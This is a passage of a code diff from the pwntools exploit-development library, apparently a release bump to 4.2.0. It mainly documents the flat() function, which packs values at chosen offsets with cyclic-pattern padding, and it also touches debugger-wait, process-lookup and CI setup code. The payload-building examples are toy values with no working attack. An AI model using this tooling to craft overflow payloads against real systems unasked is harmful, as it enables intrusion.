sign (str): Signedness of the converted integer (False/True)
Examples:
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
b'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
b'234'
>>> flat({12: 0x41414141,
... 24: 'Hello',
... })
b'aaaabaaacaaaAAAAeaaafaaaHello'
>>> flat({'caaa': ''})
b'aaaabaaa'
>>> flat({12: 'XXXX'}, filler = (ord('A'), ord('B')), length = 20)
b'ABABABABABABXXXXABAB'
>>> flat({ 8: [0x41414141, 0x42424242],
... 20: 'CCCC'})
b'aaaabaaaAAAABBBBeaaaCCCC'
>>> flat({ 0x61616162: 'X'})
b'aaaaX'
>>> flat({4: {0: 'X', 4: 'Y'}})
b'aaaaXaaaY'
(Test setup, please ignore)
>>> context.clear()
Basic usage of :meth:`flat` works similar to the pack() routines.
>>> flat(4)
b'\x04\x00\x00\x00'
:meth:`flat` works with strings, bytes, lists, and dictionaries.
>>> flat(b'X')
b'X'
>>> flat([1,2,3])
b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
>>> flat({4:'X'})
b'aaaaX'
:meth:`.flat` flattens all of the values provided, and allows nested lists
and dictionaries.
>>> flat([{4:'X'}] * 2)
b'aaaaXaaacX'
>>> flat([[[[[[[[[1]]]], 2]]]]])
b'\x01\x00\x00\x00\x02\x00\x00\x00'
You can also provide additional arguments like endianness, word-size, and
whether the values are treated as signed or not.
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign = False)
b'\x01\x00testABABABABABAB'
A preprocessor function can be provided in order to modify the values in-flight.
This example converts increments each value by 1, then converts to a string.
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
b'234'
Using dictionaries is a fast way to get specific values at specific offsets,
without having to do ``data += "foo"`` repeatedly.
>>> flat({12: 0x41414141,
... 24: 'Hello',
... })
b'aaaabaaacaaaAAAAeaaafaaaHello'
Dictionary usage permits directly using values derived from :func:`.cyclic`.
See :func:`.cyclic`, :function:`pwnlib.context.context.cyclic_alphabet`, and :data:`.context.cyclic_size`
for more options.
The cyclic pattern can be provided as either the text or hexadecimal offset.
>>> flat({ 0x61616162: 'X'})
b'aaaaX'
>>> flat({'baaa': 'X'})
b'aaaaX'
Fields do not have to be in linear order, and can be freely mixed.
This also works with cyclic offsets.
>>> flat({2: 'A', 0:'B'})
b'BaA'
>>> flat({0x61616161:'x', 0x61616162:'y'})
b'xaaay'
>>> flat({0x61616162:'y', 0x61616161:'x'})
b'xaaay'
Fields do not have to be in order, and can be freely mixed.
>>> flat({'caaa': 'XXXX', 16: '\x41', 20: 0xdeadbeef})
b'aaaabaaaXXXXdaaaAaaa\xef\xbe\xad\xde'
>>> flat({ 8: [0x41414141, 0x42424242], 20: 'CCCC'})
b'aaaabaaaAAAABBBBeaaaCCCC'
>>> fit({
... 0x61616161: 'a',
... 1: 'b',
... 0x61616161+2: 'c',
... 3: 'd',
... })
b'abadbaaac'
By default, gaps in the data are filled in with the :meth:`.cyclic` pattern.
You can customize this by providing an iterable or method for the ``filler``
argument.
>>> flat({12: 'XXXX'}, filler = b'_', length = 20)
b'____________XXXX____'
>>> flat({12: 'XXXX'}, filler = b'AB', length = 20)
b'ABABABABABABXXXXABAB'
Nested dictionaries also work as expected.
>>> flat({4: {0: 'X', 4: 'Y'}})
b'aaaaXaaaY'
>>> fit({4: {4: 'XXXX'}})
b'aaaabaaaXXXX'
"""
# HACK: To avoid circular imports we need to delay the import of `cyclic`
from pwnlib.util import cyclic
@@ -642,6 +722,9 @@ def flat(*args, **kwargs):
filler = kwargs.pop('filler', cyclic.de_bruijn())
length = kwargs.pop('length', None)
if isinstance(filler, str):
filler = bytearray(six.ensure_binary(filler))
if kwargs != {}:
raise TypeError("flat() does not support argument %r" % kwargs.popitem()[0])
@@ -656,7 +739,7 @@ def flat(*args, **kwargs):
return out
def fit(*args, **kwargs):
"""Legacy alias for `:func:flat`"""
"""Legacy alias for :func:`flat`"""
return flat(*args, **kwargs)
"""
+22 -15
View File
@@ -9,6 +9,7 @@ import psutil
from pwnlib import tubes
from pwnlib.log import getLogger
from pwnlib.timeout import Timeout
log = getLogger(__name__)
@@ -92,9 +93,9 @@ def pid_by_name(name):
processes = (p for p in psutil.process_iter() if match(p))
processes = sorted(processes, key=lambda p: p.create_time())
processes = sorted(processes, key=lambda p: p.create_time(), reverse=True)
return reversed([p.pid for p in processes])
return [p.pid for p in processes]
def name(pid):
"""name(pid) -> str
@@ -337,17 +338,23 @@ def wait_for_debugger(pid, debugger_pid=None):
Returns:
None
"""
with log.waitfor('Waiting for debugger') as l:
if debugger_pid:
debugger = psutil.Process(debugger_pid)
while tracer(pid) is None:
try:
debugger.wait(0.01)
except psutil.TimeoutExpired:
pass
else:
l.error("debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)")
t = Timeout()
with t.countdown(timeout=15):
with log.waitfor('Waiting for debugger') as l:
if debugger_pid:
debugger = psutil.Process(debugger_pid)
while t.timeout and tracer(pid) is None:
try:
debugger.wait(0.01)
except psutil.TimeoutExpired:
pass
else:
l.failure("debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)")
else:
while t.timeout and tracer(pid) is None:
time.sleep(0.01)
if tracer(pid):
l.success()
else:
while tracer(pid) is None:
time.sleep(0.01)
l.success()
l.failure('Debugger did not attach to pid %d within 15 seconds', pid)
+1 -1
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
r"""
Routines here are for getting any NULL-terminated sequence of bytes evaluated
intact by any shell. This includes all variants of quotes, whitespace, and
non-printable characters.
+1 -1
View File
@@ -1 +1 @@
__version__ = '4.1.2'
__version__ = '4.2.0'
+1 -1
View File
@@ -83,7 +83,7 @@ setup(
name = 'pwntools',
python_requires = '>=2.7',
packages = find_packages(),
version = '4.1.2',
version = '4.2.0',
data_files = [('',
glob.glob('*.md') + glob.glob('*.txt')),
],
+6
View File
@@ -64,6 +64,11 @@ setup_travis()
rm -rf usr/share
}
setup_ipv6()
{
echo 0 | sudo tee /proc/sys/net/ipv6/conf/all/disable_ipv6
}
setup_gdbserver()
{
# https://docs.improbable.io/reference/14.3/shared/debug-cloud-workers#common-issues
@@ -186,6 +191,7 @@ setup_osx()
if [[ "$USER" == "travis" ]]; then
# setup_travis
setup_ipv6
setup_gdbserver
setup_android_emulator
elif [[ "$USER" == "shippable" ]]; then